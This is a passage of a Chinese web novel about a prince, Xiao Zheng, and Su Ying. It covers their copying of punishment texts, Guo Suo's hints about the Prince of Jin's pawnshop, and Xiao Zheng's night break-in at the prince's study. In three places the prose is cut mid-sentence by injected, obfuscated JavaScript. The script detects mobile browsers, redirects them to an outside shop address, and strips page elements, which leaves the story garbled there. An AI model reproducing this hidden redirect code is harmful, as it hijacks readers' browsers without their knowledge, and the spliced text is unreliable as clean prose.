萧征被她折腾得没了脾气，加之身上疼痛，耐心告罄。他看着她那明显在偷懒耍赖的模样，叹了口气：“罢了。笔给我，我替你写。这下，总该换你伺候我了吧？” “真的？哥哥最好了！”苏萦眼睛一亮，一张小脸瞬间多云转晴，忙蹭过来揉肩捶腿：“哥哥的字太好看了，写像些，千万别被母后认出来了！” 萧征一瞥她的字体，成竹在胸地提起笔来。 “哥哥吃什么喝什么，我去给你拿。”苏萦探头过来殷勤相问。 “什么都不要，”萧征又板起脸来：“给我老实待着，我写完咱们就走。” 苏萦笑嘻嘻地应了，又想起什么，跑去抱来几个厚厚的软垫，小心翼翼推到他身边：“有还哥哥……坐。” “……我坐不下。” “那我给你垫到膝盖下面，要不然跪的多疼啊……” 萧征看着她忙活的小模样，禁不住偷偷弯起唇角。蜜饯还没吃到嘴呢，嘴就这样甜。是他那个恶言恶语的下堂妻吗？许是前世岁月磋磨，才让她变成那副样子。 萧征在心中默默许诺：哥哥这一世，一定会保护好你的。 苏萦闲下来，百无聊赖，转脸看看他，竟也重新铺纸蘸墨：“你写我也写，咱们早点回去休息。” 还算这丫头有良心。 他欣慰地转头看了她一眼。 这一眼，却让他发现苏萦握笔的姿势有些古怪，仿佛不敢用力似的，握的将将就就。 “……我看你的手。”他警惕地皱起眉头。 苏萦马上搁下笔心虚地把手背到身后：“手……有什么好看的。” “你也挨打了？母后打的？”他一时心急，直截了当问出自己的猜想。 苏萦眼神飘忽，吞吞吐吐地小声嘟囔：“我，我是罪魁祸首么。” “什么罪魁祸首，我们分明是立了功回来的。若不是你机警，我们这会儿兴许全都死在那儿了！”他也不知怎么回事，心头一股邪火噌地烧上来：“拿来我看看！” 苏萦磨磨蹭蹭地伸出手。只见原本白皙细嫩的手掌心，此时赫然是一片刺目的紫痧红肿，摸着仍有些发烫。 “母后见我哭个没完，她看着心烦，”她觑着他的表情小声解释：“就说，‘他挨打，你看着眼馋是不是？’然后就……” “母后真是—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098759|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她何时罚过你这么重？你挨了几下？”萧征咬着牙问。 “不知道。”苏萦茫然地转转眼珠：“我哭晕过去了。好像我往地上一倒，母后以为我耍赖装晕，还往我胳膊上背上抽了两下……” “你——！”萧征气得一口气堵在胸口：“你平时那机灵劲儿呢？单知道劝我求饶，轮到自己的时候舌头长腿跑了是不是？” “不是你说……‘小杖则受’么。”苏萦偷瞄他一眼，吐了吐舌头小声反驳。 “好，好，好，我就是这么教你的是吧？”萧征被她噎得一时无言，怒极反笑：“我没见过你这么笨的学生！把笔给我，不许写了！一边待着去！” 苏萦不敢再吭声，小鹌鹑似的老实缩在一旁，萧征还兀自气急败坏，懊恼地一拂袖别过头去，把书案拍的啪啪响：“我这一顿打就算白挨了！众目睽睽之下，白丢了那么大的人……” 苏萦看他一通大呼小叫过后，半天还呼呼地喘粗气，小心翼翼用上目线溜着他，不解地小声开口：“……你干嘛这么生气啊？” 萧征别开脸，不愿看她那可怜样。 “说累了吧？吃不吃果子？”她试探着用指尖把书案上的果盘朝他推推。这盘鲜果是早上来的时候才从窖里拿出来的，还冒着丝丝寒气，果皮上结着一层细细的霜。 “叫你气饱了。” 萧征硬邦邦地回绝，手下运笔未停。 “等等，”他从盘中挑出一个最凉的，用干净帕子包好，头也不转过来，只直直伸出手臂递给她：“敷着。消肿。” 苏萦不甘落后，立刻有样学样也包了一个，伸手就要往他身后探：“那我也给你敷一敷——” “……放下！”萧征耳根骤热，仿佛那冰果子烫人似的，疾声喝止她：“老实待着！” 苏萦迷茫地坐回原位，自己咬了一口果子，果肉带着冰碴，嚼着沙沙作响，含糊道：“我本来……” “……本来是想把错全揽回来的嘛。” 萧征把笔一摔，猛地抬头：“你是不是真傻啊你！父皇正在气头上，我是皇子，还挨了一顿打，若真把‘擅调兵马’的干系全推到你头上，你一个外臣之女，有几个脑袋够砍？！你小命不要了吗！” 他语气又急又冲，苏萦被凶得一怔，把果子朝桌上一掼，红着眼圈大吼：“是，永宁王真是舍己为人！是臣女僭越，不知好歹了！” 说罢，起身就往外跑去。 萧征见她真恼了，心里一慌，猛地想起袁鸣那些话来，慌忙起身去拦，动作牵动伤处，不由得“嘶”了一声。 “哎哟……”他顾不得疼，咬牙起身去追她，边还自己小声念叨着：“换位思考，将心比心……” “……对不起！”人未到，声已至。苏萦诧异地停下脚步，回头看他。 “是我正在气头上，一时心急……态度不好。”萧征停下脚步，低着头，眼神飘忽，别别扭扭地补充： “……说话不好听了。” 苏萦眼底闪过一丝惊讶，面上却仍绷着，走近一步，微微扬起下巴：“那说句好听的来听听。” 萧征看着她近在咫尺，带着期待的脸，喉结滚动了一下，声音低得几乎听不见：“我，我那还不是因为担心你……” “我没听清楚。你再说一遍。” 苏萦得寸进尺，忍着笑意环抱起双臂。 等了半天，她见萧征还红着脸人神交战，终于忍不住破涕为笑，边还黏糊糊地央求：“你再说一遍嘛！” “你听得比谁都清楚。” 萧征耳根更红，局促地轻声催促：“走，不气了就回去抄经。” 61.此小女子深谙反客为主之道 “蜜合，去把药膏拿来。”两人一前一后往回走，萧征回头嘱咐蜜合。 “我敷过药了。” 苏萦当然不会苦了自己：“只是今日要罚抄，怕污了纸，一早上来的时候洗下去了。” 萧征倔强地重复：“去拿药来。” 药膏取来，他拉过苏萦的手，用指尖沾了，小心翼翼地涂抹在那片瘀紫上，低头轻轻地吹了吹气，再用细布松松裹好。动作有些僵硬笨拙，却极尽耐心。 苏萦借坡下驴，趁机想撸起袖子：“胳膊上也有一下，在这儿——” “收起来！” 萧征像被烫到般猛地移开目光，羞得满脸通红：“胳膊上背上……都回去让蜜合帮你擦。” “……哦。” 苏萦不甘心地嘟起小嘴。 “坐这儿，吃果子。” 萧征将她按坐在垫得厚厚的蒲团上，自己重新拿起笔：“今日就先把你的抄完。” “其实，不用你替我抄，” 苏萦却忽然狡黠一笑，一抬下巴示意蜜合：“打开吧。” 只见蜜合打开旁边一个不起眼的匣子，里面竟是码放得整整齐齐的许多卷字纸。苏萦熟门熟路地翻翻拣拣，从中抽出步皇后这次安排的功课，在桌上积了一小摞。 “五十遍，齐了！” 她颇有些得意：“平时练字的时候我就写几张存着，以备不时之需！” 萧征捻起几张来迎光细看：“你这些攒了太久，纸张发黄，墨迹也旧了，可当心让母后看出来。” “不怕，看我的。” 苏萦早有准备，神气地打个响指，让人端来一盆清水和几样萧征叫不出名字的瓶瓶罐罐，不知按什么配比倒进水中，纸张平铺进去浸泡后，捞出的纸张竟色泽均匀，墨迹如新。苏萦得意地吩咐：“蜜合，让她们拿出去平铺阴干。” “你还会做这个？”萧征难以置信。 “嗯，我爹恰好认识个倒腾假古董的。”苏萦极自然地随口答道：“一看就会，没什么难的嘛。” 苏侯涉及的领域也未免太宽泛了。萧征一时不知该作何表情。 “现在换我替你抄啦，” 苏萦笑嘻嘻地伸手去拉过他面前厚重的《大朔律》：“你抄兵书，我抄律法。我仿你的字很像的，你看！” 她说着，随手写了一行，萧征一眼望去，还真像他年少时候的字。 只不过—— 她一瞥他昨晚写完的那一沓纸，懊恼地一咧嘴：“啊？你什么时候字练得这么好啦？那我抄这些……哎呀，算作你写到这儿突然开窍了行不行？” 他失笑：“别闹了，没事了就去耳房睡一会儿。” 她不甘心地瞪他一眼，扯过他写完的一张纸来，提笔蘸墨——虽然握笔将就，落笔犹豫，又只看了两眼，竟真写得与他的字有八分相似。 稍加练习，定是个造假的行家。他心里一惊。 离京这半个月他也领教了，这丫头，可没看上去那么简单。 “你前天——”他猛地忆起她的可疑行踪：“不在府里好好待着，跑到城南去做什么？” 苏萦闻言双肩一颤，一双大眼睛轱辘轱辘乱转，心虚道：“没……干什么呀～～” “没干什么？老实交代！”萧征狐疑地盯着她。 “哎呀不能说！”苏萦为难地一梗脖子，破罐子破摔地大喊：“你，你别——” “诶？”此小女子偏又深谙反客为主之道，灵光一闪，忽地杀过一个回马枪：“那我问你，你跑到城南去干什么？” “……也不能说。”萧征局促地目光闪躲。 “哦。”此话正中苏萦下怀，低着头并不朝他看，得意地小声道：“那，扯平了？” 萧征只得悻悻地撇了撇嘴，心中盘算着哪天趁自己不忙再去探这丫头的底细。 “对了！”苏萦又神神秘秘道：“你那天，抓着那和尚问什么？” 看她一脸无辜的模样，对那俊美和尚转头就忘，根本不像做长公主的时候，见着漂亮小男人便要抢到手里。他吃了个哑巴亏，只好自认倒霉，苦笑道：“鬼知道！” “那昨晚的蹄花汤，” 他顾左右而言他，匆忙扯到别的话上：“你自己吃了么？” “没有。” 苏萦摇头。 “不是你说，‘吃什么补什么’？”他报复似的噙着笑：“你这是最对症的了。” “讨厌！” 苏萦皱起眉头，轻捶他一下：“不爱吃。猪蹄有什么好吃的？腥气。” “哦。” 萧征听她这么说，便也故作嘴硬：“是没什么好吃的。我也不爱吃。” “真的？”苏萦听了，半点也没信，拿眼梢一扫他：“我怎么听说，你吃得可香了？” 萧征笔尖一顿，转脸瞥向门旁侍立的袁鸣。袁鸣望天，假装没看见。 “好啊好啊……”萧征咬牙切齿，幽幽道：“一年的俸银，安排了个奸细在我身边哈？” 他那吃瘪的表情语气未免太可乐，苏萦忍了又忍，到底“扑哧”一声笑出来，伏在案上笑得肩膀直颤。 “还笑，还笑！”她越笑，萧征越窘，手脚都不知道往哪儿放，红着耳朵作势要扑上来搔她痒痒：“再笑，我让你笑个够！” 快到用晚膳的时候，两人才活动着僵硬的肩背从宝华殿走出来，沉甸甸的满满几厚沓抄写，多得简直要拿担子来挑。雀头和袁鸣两个人都还拿不下，让朱樱分担了一小部分。 就这么多，都还没完呢—— “一会儿进了屋，你不用说话，我替你跟母后求情。我就装傻，说是不是翠雀姑姑记错了母后的话呀？那孙子兵法全文有六千来字，抄足五十遍，不是把人活活累死了吗！哪怕是让你拣两段重点的来抄也行呀。你再瘸着点儿走，让母后好好心疼心疼。”眼看要进玉栖宫的门，苏萦忙着给萧征出谋划策。 萧征轻笑一声，不置可否：“我今日是来陪你送罚抄的，回去我定把那五十遍兵法一字不差的默完。” “哎哟死脑筋！”苏萦懊丧地抱怨。 还没进屋，就听到房中传来啜泣声。 “谁在母后房里哭呢？一会儿气得母后又举起戒尺来了。”苏萦做个鬼脸揶揄。 不必进屋便有答案，宝冉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106797|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正候在殿外。 宝冉见了他们，有些局促，却还是硬着头皮行礼：“永宁王，华容郡主。” “宝冉！”半月相处，苏萦却与她亲密了不少：“你进宫来啦？正好我有东西要给你呢。朱樱，把这些放下，快点儿回宫去取一趟。” 步皇后也不避讳，郭娑还在她面前哭的像个泪人儿似的，就让翠雀把门外的两人领进来了。 一个瘸着腿，一个包着手，一个哭花了妆，谁也没体面到哪里去，三个人打了照面，都尴尬地躲闪着目光，眼珠子溜溜转。 郭娑今日穿了一身鸭蛋青素锦袄裙，外罩翠色斗篷，发髻简约，只簪一朵珠花，越发显得弱质纤纤，我见犹怜。 “郭姐姐，你怎么了？母后也骂你了？”苏萦含着笑故意逗郭娑开心。 郭娑听了这话，更用手帕掩着口鼻抽噎起来：“妹妹莫打趣我了，我今日是特来向娘娘请罪的。” 她说着，目光转向萧征，又飞快避开，仿佛承受不住愧疚的煎熬：“昨日…昨日听说永宁王回宫后，因…因让北漠郡主涉险之过，受了陛下责罚……我听了，心里实在难安……” 这跟她又有多大关系？把自己说成戏台子上的主角儿了。苏萦微不可查地一挑眉毛，偷瞧母后，神情也有些懒懒的，显然是才听过一遍了。 郭娑顿了顿，拿起帕子轻轻按了按眼角，才续道：“都怪我，死缠烂打要跟着同路，非但未能帮忙，反而成了累赘。若非为了救我，大家早已脱险，何至于再返险地，又怎会…怎会连累殿下受此惩戒？” 她话语哀戚，显然是说给萧征听的。 这话把苏萦全然摘去，既不提她也因此受了罚，更不肖说正是苏萦设法从狱中救她出来的。其中心思，太过明显。 萧征瞥瞥苏萦，瞧瞧母后，觉得自己此刻还是闭嘴装哑巴的好。 “郭姐姐，坐吧，我看看你手腕好些了吗？”苏萦却满不在乎似的岔开话头，忽然两眼一亮，献宝似的对步皇后说：“母后，您不知道，郭姐姐会单手控马，可威风了呢！” “哦？”步皇后顺势接上，饶有兴味地问：“你这姑娘看着弱柳扶风的，马术竟如此了得啊？” “娘娘也是草原女儿，马术定在我之上，这些小伎俩，不值当在娘娘面前卖弄。”郭娑诚惶诚恐地低下头。 “那等来年开春，若郡主还留在京城，可在马球比赛上与那些亲贵家的小姐们好好赛上一赛。”步皇后的眼神瞥向苏萦：“也顺带教教这丫头，她笨手笨脚的，马镫都不敢踩呢。” “母后～！”苏萦嗔怪地一噘嘴巴。 “好了，天也晚了，郡主还要出宫去，本宫就不多留你们了。”步皇后垂下眼眸，摆出一副送客的架势：“你们两个的抄写都完成了？让人搬到房里去，本宫稍后再看。禁足还剩六日，都在宫中静心养着，少生事端。” 三人将要行礼退出，苏萦急切地用口型提醒萧征：说呀！萧征瞥她一眼，颔首道：“母后，儿臣的兵法还差二十遍，明日一定全部补过来。” 苏萦泄气，翻了个白眼悻悻地往外走。 62.“行，今天放你一马。” 三人从玉栖宫正殿退出，冬日傍晚的寒气立刻包裹上来。三人立在殿前廊下，未来得及寒暄两句，苏萦就轻呼一声：“来了！”撇下那两人，提裙往前迎上几步。 朱樱正小跑着回来，手里捧着个巴掌大的锦盒。 “宝冉，你过来！”苏萦回身朝宝冉招招手。 宝冉看了一眼自家郡主，见郭娑微微颔首，才迟迟疑疑地走到苏萦身边。苏萦拉她往廊柱旁避了避，正好隔开郭娑的视线，这才打开锦盒。里头赫然是一块未经雕琢的鸽血红宝石原石，在暮色里依旧透着润泽的光芒。 “给你的！” 苏萦利落地把盒子塞进宝冉手里，很得意的语气：“你喜欢这个，我没猜错吧？上回问你，你没吭声。这个你留着，将来镶对耳坠子，或是镶个戒指头面，都好看。” 宝冉不吭声，低着头，并不朝那盒子里看。 “本来呢，我是想叫人打好了送你，怕样式你不喜欢。”苏萦还兴致勃勃自顾自地说：“你要说自己打首饰不方便，今儿晚了，哪天你再到宫里来，我叫珠宝匠过来，你自己选选样子，我出钱给你打去。我宫里还有玛瑙水玉那些，事先磨好珠子的，到时候我拿出来，你自己按喜欢的样式穿条项链戴，我就顶喜欢自己穿珠子。” 看宝冉半天没反应，苏萦不耐烦地把那块原石塞到她手里，让她好好看看：“我知道，这东西就是你们草原产的，你见得多了，可这块成色不错呢。我从来不拿次货送人的。” 宝冉握着手中沉甸甸，暖融融的红宝，又抬眼看向苏萦笑意盈盈，毫无芥蒂的眼睛，只觉得这姑娘简直是把热腾腾一颗心捧出来给她看。宝冉的嘴唇动了动，眼圈竟也有些发红，低低道：“郡主……这太贵重了，奴婢当初……” 当初也没有把你随口的承诺放在心上。 “我答应你的，怎么会不兑现呢？”苏萦有点急了：“我父亲科举入仕之前，曾是个生意人。他说其实各家的货品没什么大差别，人家之所以选择一次一次的同你做生意，就是因为，你这人讲诚信。”苏萦把盒子强硬地搡到宝冉怀里：“别跟我推来推去的了，收下吧。” 宝冉攥紧了宝石，深深蹲了个福礼，声音哽咽：“……多谢郡主。” 这边苏萦拉着宝冉说话，那边郭娑自然不会放过与萧征独处的机会。她款步走近，脸上泪痕已用帕子细细揩过，只余下眼周淡淡的红晕，更添几分楚楚。 “十七殿下，” 她声音柔婉，语带关切：“身上的伤……可还疼得厉害？我那里有北漠带来的上好伤药，活血化瘀有奇效，明日让宝冉送些到南三所可好？” 萧征礼节性地微微颔首，语气疏淡：“有劳郡主挂心，太医已诊治过，并无大碍。宫中药物齐备，不必麻烦了。” 郭娑似乎早料到他会拒绝，并不气馁，转而轻轻叹了口气，眉眼间染上愁绪：“殿下无事便好。只是……只是姑夫近日，却有些伤神呢。” 萧征眸光微凝，面上却不动声色：“三哥？为何事伤神？” “唉，还能为什么，” 郭娑蹙起黛眉，一副忧心忡忡的模样：“姑夫私下里与我说过好几回，说小十七……说殿下您自这次回京后，似乎与他生分了不少。他道往日里最疼的便是你这个幼弟，如今见您……见您似乎总避着他，心中很不是滋味。” 她说着，抬眼飞快看了萧征一眼，观察他的反应。 萧征心中冷笑，面上却只露出些恰到好处的“讶异”和“无奈”：“三哥多虑了。我此番回京，诸事纷杂，又惹了父皇动怒，自身尚且难安，唯恐言行不慎再累及兄长，故而谨慎了些，绝非有意疏远。还请郡主得空时，替我在三哥面前解释一二。” 郭娑听他语气缓和，似有转圜，脸上愁容稍霁，顺势道：“殿下心中有兄弟情分便好。姑夫也是明白的，只是关心则乱。况且近日姑母产后调理，总不见大好，我身为侄女，少不得多在跟前伺候些，姑夫忙于外务，回府见姑母病弱，心中更是郁结……” 萧征顺着她的话，敷衍地应道：“三嫂身子要紧，有郡主这般尽心照料，是三哥的福气。” 郭娑被这话鼓励，话锋不经意地一转：“姑夫外头事忙，也是一片善心。就比如近日，他见年关将近，城中许多贫苦人家难以周转，便打算在城西再起一家‘恒济当’，沿用旧例，高价押入，低价赎回，只求能帮人暂渡难关，也为我姑母和新生的表妹积些福报。” 恒济当！ 萧征心中猛地警觉。他维持着面上倾听的神情，顺着她的话问：“哦？三哥竟有如此善举。只是……这‘恒济当’，听着耳熟，莫非京中已有一家？” 郭娑见他感兴趣，眼中掠过一丝得色，语气更加温软：“殿下好记性。京中确有一家‘恒济当’，开了有些年头了，也正是姑夫的产业。姑夫常言，他身为皇子亲王，受万民供养，更应回馈于民。这恒济当不图盈利，只为解人燃眉之急，这些年暗地里帮扶的人家，不知凡几呢。” 她话语里满是与有荣焉的赞叹，为萧谅塑起一个心怀大爱，怜贫惜弱的贤德形象。 萧征听着，面上适时露出感佩之色，心中却早已翻江倒海。 恒济当竟是萧谅的产业！那质地特殊的木牌……刻意引导的线索……看似乐善好施的背后巨大的资金流动…… 所有的疑点，仿佛瞬间找到了一个汇聚的源头。前世一些模糊的记忆碎片也开始碰撞——若萧谅就是质心阁背后的人，那么许多事就都解释得通了…… 郭娑仍在轻声细语地说着什么，大抵是萧谅如何不易，如何仁厚。萧征已无心细听，只是维持着基本的礼仪，不时颔首，发出几个简短的应和音节，心思早已飞转。 是巧合吗？郭娑偏偏在此刻，对他“无意”透露这个消息？是她真的心思单纯，仰慕 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苏萦这才凑过来，看了看萧征没什么表情的侧脸，又望了望郭娑离去的方向，撇撇嘴：“说完了？听了一箩筐的‘姑夫’长‘姑夫’短，我耳朵都快起茧子了。走吧，我要回宫去了。你真要再回宝华殿把那剩下二十遍抄完？那我晚点儿差人给你送夜宵去。” 萧征“嗯”了一声，随后忽意识到苏萦是极好的人证，又不动声色地改口道：“不，我回南三所去。路程太远，天也黑了，别再折腾你宫里的人来回跑了。” 雀头和朱樱向他投来“如蒙大赦”的感激目光。 这是实情，西北角的赏明宫和东南角的南三所，简直是皇城中间隔最远的两处地方。 “哦。”苏萦有点悻悻的：“我让小厨房给你熬了猪皮冻呢！趁这里离我那儿近，让袁鸣跟我们去取一趟吗？” “还有猪——”萧征赧然失笑：“哪想出的这么多花样！放猪一马吧！” “不吃拉倒！”苏萦一甩手，小声快速地说：“行，今天放你一马。” 怕萧征反应过这话来又要敲她栗子，她边说边“嗖嗖嗖”地跑出好几步。 萧征心中规划着出宫的计策，只是抬起手来虚晃一下吓唬她，并没有去追，笑着望她一眼，便转头往南三所的方向走去了。 “诶——”苏萦在背后大声叮嘱：“你别一口气都抄完，当心把腕子累断了！等明天我帮你——” “再大点声！”萧征向前走着，并没回头，笑着提点她：“让母后在房中也听听！” “略——”苏萦朝萧征的背影做个鬼脸，气哼哼一甩头：“我走啦！” 萧征这才回头站定，望向苏萦一行人渐行渐远的背影，看朱樱和雀头手上提的绛纱灯，渐渐凝成暗夜中两个微弱的小红点，旋即转过弯去，不见了。 鲜活的空气仿佛骤然被抽空。皇城顶上的黑夜突然落下来，沉甸甸压在他肩上。 63.“晋王府中进了刺客。” 夜已深，晋王府邸的亭台楼阁被黑暗吞没成一片起伏的影子。萧征一身玄色劲装，面覆黑巾，如同融于夜色的鬼魅，悄无声息地伏在萧谅书房对面一株高大的梧桐树冠中，枝叶完美地遮掩了他的身形。他屏息凝神，目光如鹰隼般锁死那扇透出昏黄灯光的菱花窗。 房中，萧谅还未歇下。他的身影被灯光拉长，投在窗纸上，腿伤未愈的缘故，显得有些迟缓。萧征看着他慢慢踱到靠墙的书架前，看似随意地似要搬出一部书来，手指却在书脊某处轻轻一按。 “咔哒”一声轻响，在寂静的夜里几乎微不可闻，书架侧面弹开一个巴掌大的暗格。萧谅伸手入内，取出一个乌木盒子。 他打开盒子，就着桌案上的灯火细看。树上的萧征瞳孔骤然收缩——即便隔着一段距离，借着那晃动的烛光，他也清晰辨认出，盒中躺着的，正是一枚亲王规制的蟠龙钮印信！尺寸轮廓，与他丢失的那一枚何其相似！萧谅的手指在其上轻轻抚过，萧征的角度看不见他的表情。旋即，他合上盖子，将木盒重新放入暗格，机关复位，一切如常。 又过了一盏茶功夫，萧谅才拄着拐杖，一步步缓缓离开了书房。整个王府的灯火渐次熄灭，陷入沉睡前的宁静。 萧征细微地活动活动腿脚，心如擂鼓。他必须亲眼确认那究竟是不是自己的印信。等待仿佛无比漫长，直到巡逻的侍卫也交班远去，他才如一片落叶，从树梢飘下，落地无声，狸猫般蹿到书房窗下。指尖发力，轻轻拨开里面并未扣死的窗闩，翻身而入。 书房内还残留着淡淡的檀香与墨香。他凭借记忆，精准地找到那个书架，模仿着萧谅的动作，在那部书的书脊处按下。 “咔哒。” 暗格再次弹开。乌木盒子近在眼前。 就在他的指尖即将触及盒盖的刹那，脚下看似平整的青砖地面突然传来极其轻微的，机括转动的“嘎吱”声。不对！ 萧征浑身的寒毛瞬间炸起，这是陷阱！ 他反应已是极快，抽身急退，但还是晚了半步。暗格上方，一枚镶嵌在书架雕花里的细小铜镜角度骤变，将窗外透入的微弱月光反射向屋顶某处悬挂的，薄如蝉翼的琉璃片，与此同时，他脚下触发的机括带动一根极细的铜线，扯动了隐藏在房梁阴影中的一个小巧铜铃—— “叮——！” 清脆却不算响亮的铃声在寂静的书房里骤然响起。紧接着，被月光反射聚焦的琉璃片竟猛地爆开一团刺眼的白色磷光，在幽深的暗夜中一闪即逝。 “有刺客！书房方向！” 王府沉寂的夜色被瞬间撕裂，远处立即传来侍卫的厉喝和纷乱的脚步声，迅速由远及近。 行迹已然暴露，再不走，必被合围。萧征当机立断，身形暴起，合肩朝着最近的一扇紧闭的菱花窗猛撞过去。 “哗啦——！” 木屑与破碎的窗纸四溅，他整个人破窗而出，落在书房外的庭院中。 “刺客在那儿！” “围住他！” 火把的光亮从四面八方涌来，人影幢幢，刀剑出鞘，寒光闪烁。如巨石骤然投入平静无波的池塘，整个晋王府沸腾起来。婴儿嘹亮的啼哭声穿透夜幕——是新生不久的小郡主被惊醒了。 卧房中，晋王妃听到孩子哭声炸响，猛地起身，不慎抻到下腹，一时痛得面色发白，跌回床上。 “……外头出什么乱子了？”她半是疼半是吓，颤巍巍地问。 还没待侍女们回应，住在碧纱橱里的郭娑先一个箭步冲进来，扶她起身，温声安慰：“姑母莫怕，许是进了毛贼，侍卫们定能拿下。” 这边安抚了晋王妃，便出门示意惊魂未定的侍女们看好门户。她眼神清明，不见多少慌乱，屏息侧耳听着外面的动静。外间厢房，宝冉正就着一点灯烛偷偷欣赏那颗红宝石，骤然听闻外面喊杀震天，吓得手一抖，宝石险些掉落，慌忙紧紧攥住塞回贴身内袋，只觉心口怦怦直跳。 萧征在庭院中左冲右突，仗着对王府格局依稀的记忆和敏捷的身手，接连避开几队合围的侍卫，击倒两名挡路的护院，朝着记忆中最容易脱身的西侧矮墙方向疾掠。风声在耳边呼啸，火光与人影在周遭晃动，他额角已渗出冷汗，臀腿间的新伤在剧烈的奔跑腾挪中隐隐作痛。 眼看再穿过一条狭窄的巷道，翻过那道爬满枯藤的矮墙，便能暂时脱离险境。他身形一闪，拐入巷道—— 前方，一道身影静静地立在巷子中央，挡住了去路。火把的光晕从巷口蔓延进来，勾勒出那人拄着乌木拐杖的轮廓。 萧谅竟亲自堵在这个关键的逃生路线上！ “胆敢夜闯本王府邸，窥探私密，” 萧谅的声音不高，却带着沉甸甸的压迫感：“留下命来。” 话音未落，他手中那根看似寻常的乌木拐杖猛地一振，杖头“咔”地弹出一截寒光闪闪的细长枪尖。他步履虽因腿伤略显迟滞，但出招却快如闪电，枪尖一点寒星，直刺萧征面门，竟隐隐带着战场搏杀的凌厉气势。 萧征心头凛然，深知这位三哥年少时也曾弓马娴熟，武艺不凡，即便腿伤，也绝不可小觑。他急忙侧身闪避，抽出腰间软剑格挡。金铁交鸣，火花四溅。 两人在狭窄的巷道内迅速过了数招。萧征一心只想尽快脱身——他是萧谅一手带大的，自幼在宫中学的功夫，后来在军中学的搏杀技，都是萧谅手把手教出来的，他的身法，闪避的角度，格挡的力道……他的心狂跳不止，眼看萧谅眼中的疑云越来越重。 这蒙面刺客……一种惊人的熟悉感向萧谅扑面而来。一个荒谬却又无比清晰的猜测骤然撞入他的脑海。 他枪势陡然一变，不再追求致命，反而虚晃一枪，诱得萧征向右闪避，随即枪杆如毒蛇般猛地向下横扫，狠狠抽向萧征右侧臀腿交接处—— “嗯——！” 一阵剧痛毫无防备地袭来，萧征闷哼一声，身形不受控制地微微一滞，脚下踉跄了半步。他死死咬住牙关，凭借意志力强行稳住。 这细微到极点的停顿和闷哼，让萧谅眼中骤然亮起。 在萧征因剧痛分神的电光石火间，他抓住这稍纵即逝的机会，手腕一抖，拐杖枪尖如附骨之疽，带着凌厉的破风声，疾刺萧征面门，欲将他面罩挑下。 萧征惊觉危险，生死关头间猛地向后仰身，同时左手软剑向上奋力一撩！ “嗤——！” 剑锋与枪尖险之又险地擦过，带起一溜细微的火星。枪尖未能刺实，却仍在他颈侧靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111921|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的位置，划开了一道浅浅的血口。温热的液体瞬间沁出，染湿了衣领。 萧征不敢再做丝毫停留，趁着萧谅一击未尽，未及变招的刹那，足下用力一点旁边墙壁，身体借力向后腾空，一个鹞子翻身，堪堪跃上了那道矮墙。落地时，右脚踩实，但匆忙间用来支撑平衡，且本就多年乏于使用的右手，在触及地面的一瞬，从腕部传来一阵尖锐的刺痛。 他忍着手腕不适，头也不回地纵入墙外更深的夜色中，几个起落便消失不见。 巷道内，火把的光亮追到墙下，刺客已消失无踪。侍卫们想要翻墙去追，萧谅抬手制止。他站在原地，目光幽深地望着萧征消失的方向，仿佛在回味刚才那场短暂的交锋。 他缓缓抬起手中的拐杖枪，就着侍卫举近的火把光亮细看。在枪尖侧面，沾染了一抹极淡的，尚未完全凝固的猩红血迹。 萧谅伸出指尖，轻轻抹过那点湿润，放在鼻尖下嗅了嗅，捻动手指，感受着那微黏的触感。随后，他轻触机关，将枪头收入拐杖中。 “不必追了。” 他转身，声音恢复了平日的温和：“加强府内戒备，仔细搜查书房，看看丢了什么没有。明日一早……” 他顿了顿，目光似乎飘向了皇宫的方向，“本王要进宫——向陛下请安。” 夜色重新合拢，吞噬了巷道里的火光与声响。 今日，玉栖宫的早晨比其他宫中来的稍早一些。 灰蒙蒙的天空中还余几点星子，翠雀就掌灯匆匆走进。 “娘娘，飞廉来报，晋王府中进了刺客。” 步皇后并没起身，闻言只是轻叹一口气。 “‘刺客’受伤没有？有没有暴露身份的隐患？” 翠雀俯下身子，在皇后耳边喁喁说了几句。 “知道了。翠雀，你去一趟，让他辰时就到我这里来请安。” 早饭过后，宫人来报，说永宁王来了。 “传。”步皇后的眉宇间闪过一丝不耐烦地愠怒。 萧征走进，虽极力遮掩，却比昨日来时还瘸得厉害。 “昨日已通融你一晚上，你的抄写呢，萧征？” 即使身为皇子，也怕被父母连名带姓地唤。萧征下意识缩了缩脖子。 他怕极了在母亲面前扯谎，可当下只好硬着头皮，结结巴巴地说下去：“儿子，儿子昨夜贪睡……” “贪睡？我是不是近日太纵着你们了，把你们一个两个都惯出毛病来了？” 